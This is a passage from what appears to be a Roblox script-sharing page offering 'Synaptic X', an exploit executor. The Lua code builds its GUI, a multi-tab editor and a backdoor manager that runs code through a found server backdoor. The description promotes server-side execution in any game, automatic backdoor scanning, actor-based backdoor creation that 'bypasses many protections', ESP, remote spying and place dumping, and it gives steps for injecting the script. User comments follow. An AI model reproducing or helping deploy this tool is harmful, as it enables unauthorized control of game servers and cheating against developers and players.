                    Text = "✗ No backdoor. Press Attach first!";
                    Duration = 3;
                })
            end
        end
    else
        execute_2.Text = "Not Attached!"
        wait(1)
        execute_2.Text = "Execute"
    end
end)

close.Name = "close"
close.Parent = scripthub_2
close.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
close.BackgroundTransparency = 0.800
close.BorderSizePixel = 0
close.Position = UDim2.new(0.685180664, 0, 0.871106505, 0)
close.Size = UDim2.new(0, 84, 0, 30)
close.Font = Enum.Font.Arial
close.Text = "Close"
close.TextColor3 = Color3.fromRGB(255, 255, 255)
close.TextSize = 14.000
close.ZIndex = 110
close.MouseButton1Click:Connect(function()
    scriptselected = "none"
    scripthub_2.Visible = false
end)

title_4.Name = "title"
title_4.Parent = scripthub_2
title_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title_4.BackgroundTransparency = 1.000
title_4.Position = UDim2.new(0.00870821718, 0, 0, 0)
title_4.Size = UDim2.new(0, 18, 0, 24)
title_4.ZIndex = 110
title_4.Image = "http://www.roblox.com/asset/?id=7641125882"
title_4.ImageRectSize = Vector2.new(138, 167)

title_5.Name = "title"
title_5.Parent = optionspage
title_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title_5.BackgroundTransparency = 1.000
title_5.Position = UDim2.new(0.161097407, 0, -0.000307376496, 0)
title_5.Size = UDim2.new(0, 200, 0, 22)
title_5.Font = Enum.Font.SourceSans
title_5.Text = "Synaptic X - Options Menu"
title_5.TextColor3 = Color3.fromRGB(255, 255, 255)
title_5.TextSize = 16.000
title_5.ZIndex = 110

title_6.Name = "title"
title_6.Parent = optionspage
title_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title_6.BackgroundTransparency = 1.000
title_6.Position = UDim2.new(0.00870821718, 0, 0, 0)
title_6.Size = UDim2.new(0, 18, 0, 24)
title_6.ZIndex = 110
title_6.Image = "http://www.roblox.com/asset/?id=7641125882"
title_6.ImageRectSize = Vector2.new(138, 167)

synapsex3.Name = "synapsex3"
synapsex3.Parent = optionspage
synapsex3.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
synapsex3.BackgroundTransparency = 0.800
synapsex3.BorderSizePixel = 0
synapsex3.Position = UDim2.new(0.30757343, 0, 0.391106505, 0)
synapsex3.Size = UDim2.new(0, 123, 0, 30)
synapsex3.Font = Enum.Font.Arial
synapsex3.Text = "Synapse X v3"
synapsex3.TextColor3 = Color3.fromRGB(255, 255, 255)
synapsex3.TextSize = 14.000
synapsex3.ZIndex = 110
synapsex3.MouseButton1Click:Connect(function()
    game.StarterGui:SetCore("SendNotification", {
        Title = "Synaptic X";
        Text = "Synapse X v3 coming soon.";
        Duration = 1;
    })
    synapsex3.Text = "Coming soon."
    wait(1)
    synapsex3.Text = "Synapse X v3"
end)

game:GetService("UserInputService").InputBegan:Connect(function(input)
    if MainFrame.Visible == false and synminbutt.Visible == false then
        if input.KeyCode == Enum.KeyCode.F6 then
            MainFrame.Visible = not MainFrame.Visible
        end
    end
end)

local function makeDraggable(gui)
    local UserInputService = game:GetService("UserInputService")
    local dragging, dragInput, dragStart, startPos
    
    local function update(input)
        local delta = input.Position - dragStart
        gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
    end
    
    gui.InputBegan:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
            dragging = true
            dragStart = input.Position
            startPos = gui.Position
            input.Changed:Connect(function()
                if input.UserInputState == Enum.UserInputState.End then dragging = false end
            end)
        end
    end)
    
    gui.InputChanged:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
            dragInput = input
        end
    end)
    
    UserInputService.InputChanged:Connect(function(input)
        if input == dragInput and dragging then update(input) end
    end)
end

makeDraggable(MainFrame)
makeDraggable(scripthub_2)
makeDraggable(optionspage)
makeDraggable(synminbutt)

local function tabSystem()
    local currentTab
    
    local function getTabs()
        local tabs = {}
        for _, v in pairs(Tabs:GetChildren()) do
            if v.Name:match("Tab_%d+") then table.insert(tabs, v) end
        end
        return tabs
    end
    
    local function showTab(tab)
        currentTab = tab
        if not tab then
            Source.Text = ""
            return
        end
        Source.Text = tostring(tab.Script.Value)
    end
    
    local function removeTab(tab)
        local tabs = getTabs()
        local idx
        for i, v in pairs(tabs) do
            if v == tab then
                idx = i
                v:Destroy()
                table.remove(tabs, i)
                break
            end
        end
        showTab(currentTab ~= tab and currentTab or tabs[idx] or tabs[idx-1])
    end
    
    local function newTab()
        local tabs = getTabs()
        local tab = Instance.new("Folder", Tabs)
        local titlescript = Instance.new("TextButton", tab)
        local remove = Instance.new("TextButton", tab)
        local tabScript = Instance.new("StringValue", tab)
        local lastTab = tabs[#tabs]
        
        tab.Name = ("Tab_%d"):format(#tabs + 1)
        titlescript.Name = "ScriptTitle"
        titlescript.BackgroundColor3 = Color3.fromRGB(107,107,107)
        titlescript.BorderSizePixel = 0
        titlescript.Position = lastTab and UDim2.new(lastTab.ScriptTitle.Position.X.Scale + 0.103, 0, -0.074, 0) or UDim2.new(0,0,-0.074,0)
        titlescript.Size = UDim2.new(0,44,0,19)
        titlescript.Font = Enum.Font.SourceSans
        titlescript.TextColor3 = Color3.fromRGB(255,255,255)
        titlescript.TextSize = 15
        titlescript.Text = ("Script %d"):format(#tabs + 1)
        
        remove.Name = "RemoveTab"
        remove.BackgroundColor3 = Color3.fromRGB(107,107,107)
        remove.BorderSizePixel = 0
        remove.Position = UDim2.new(titlescript.Position.X.Scale + 0.067, 0, -0.074, 0)
        remove.Size = UDim2.new(0,24,0,19)
        remove.Font = Enum.Font.SourceSans
        remove.TextColor3 = Color3.fromRGB(255,255,255)
        remove.TextSize = 14
        remove.Text = "x"
        
        tabScript.Name = "Script"
        
        NewTab.Position = remove.Position + UDim2.new(0.046,0,0.008,0)
        showTab(tab)
        
        titlescript.MouseButton1Click:Connect(function() showTab(tab) end)
        remove.MouseButton1Click:Connect(function() removeTab(tab) end)
        return tab
    end
    
    newTab()
    NewTab.MouseButton1Click:Connect(newTab)
    Source:GetPropertyChangedSignal("Text"):Connect(function()
        if currentTab then currentTab.Script.Value = Source.Text end
    end)
end
coroutine.wrap(tabSystem)()

local function syntaxHighlighter()
    local srcBox = Source
    local lines = Lines
    
    local function updateHighlight()
        srcBox.Text = srcBox.Text:gsub("\13", ""):gsub("\t", "      ")
        local s = srcBox.Text
        local lin = 1
        s:gsub("\n", function() lin = lin + 1 end)
        lines.Text = ""
        for i = 1, lin do lines.Text = lines.Text .. i .. "\n" end
        EditorFrame.CanvasSize = UDim2.new(0, 1500, math.max(1, lin) / 16.6, 0)
        srcBox.Size = UDim2.new(0, 598, 0, 249 + (lin > 16 and 16 * (lin - 16) or 0))
    end
    
    srcBox.Changed:Connect(updateHighlight)
    srcBox:GetPropertyChangedSignal("Text"):Connect(updateHighlight)
    updateHighlight()
end
coroutine.wrap(syntaxHighlighter)()

while true do
    wait(0.01)
    if scripthub_2.Visible then
        if scriptselected == "none" then
            descri.Text = ""
        elseif scriptselected == "dex" then
            descri.Text = "A version of the popular Dex explorer with patches specifically for Synaptic X."
        elseif scriptselected == "esp" then
            descri.Text = "ESP Made by ic3w0lf using the Drawing API."
        elseif scriptselected == "spy" then
            descri.Text = "Allows you to view RemoteEvents and RemoteFunctions called."
        elseif scriptselected == "dumper" then
            descri.Text = "Dumps the place as a .rbxl file in your workspace folder."
        elseif scriptselected == "backdoor" then
            if backdoorRemote then
                descri.Text = "✓ Active backdoor: " .. backdoorRemote.Name .. "\nUse: getgenv().SynapticBackdoor:FireServer(code)\nRequire with IDs supported!"
            else
                descri.Text = "✗ No backdoor. Press Attach first!"
            end
        end
    end
end

Features & Information

Synaptic X is a powerful, feature-rich Roblox executor designed for both beginners and advanced users. It combines multiple tools into one seamless interface with server-side execution capabilities. 🔥 FEATURES: • Full Lua executor with syntax highlighting • Multi-tab script editor • Built-in script hub: - Dark Dex (object explorer) - Unnamed ESP - Remote Spy - SaveInstance (dumper) - Backdoor manager • Server-side code execution (works in ANY game with backdoor) • Auto backdoor scanner (RemoteEvent / RemoteFunction detection) • Actor-based backdoor creation (bypasses many protections) • require() support with Module IDs • Beautiful, draggable GUI with minimize option • F6 to show/hide interface 🚀 HOW TO USE: 1. Inject the script using any executor (Xeno, Solara, Krnl, etc.) 2. Press F6 to open the GUI 3. Click "ATTACH" to find/create a backdoor 4. Write your Lua code in the editor 5. Click "EXECUTE" to run it server-side ⚠️ REQUIREMENTS: - A working Roblox executor (Xeno, Solara, Krnl, Delta, etc.) - Roblox Player (must be in a game) 📁 INCLUDED SCRIPTS: - Dark Dex Explorer - Unnamed ESP - Remote Spy - SaveInstance (place dumper) - Backdoor.exe scanner 🔧 TIPS: - If "Attach" fails, try pressing it again (sometimes takes 2-3 attempts) - The script automatically searches for backdoors via: • Standard RemoteEvent scanning • Actor-based backdoor creation • Direct execution fallback ⚡ SYNTAX HIGHLIGHTING: - Keywords (green) - Globals (blue) - Strings (light green) - Numbers (orange) - Remote calls (cyan) 🖥️ INTERFACE: - Drag the window anywhere - Minimize to tray (M button) - Close (X button) - Hide with F6

Community Comments (7)

*s*9*s*9Apr 4, 2026

yo it doesnt work

Replying to @*s*9
Zcel35Zcel35Apr 5, 2026

@s9 where don't work

Replying to @Zcel35
gamecezar2000gamecezar2000Apr 7, 2026

@Zcel35 It dosen't pop up

Replying to @gamecezar2000
c0Olskidc0OlskidApr 7, 2026

@gamecezar2000 what executor your using

hello_foxy165hello_foxy165Apr 9, 2026

backdoor.exe scanners don't work bro and it's discontinued

FSFDDSFDFSDFDFSFDDSFDFSDFDApr 16, 2026

Can you not run require scripts on it?

Jack_marstonJack_marstonSep 22, 2026

And if it finds a backdoor but it doesn't do anything, I insert it and nothing happens.

More Scripts for Universal Scripts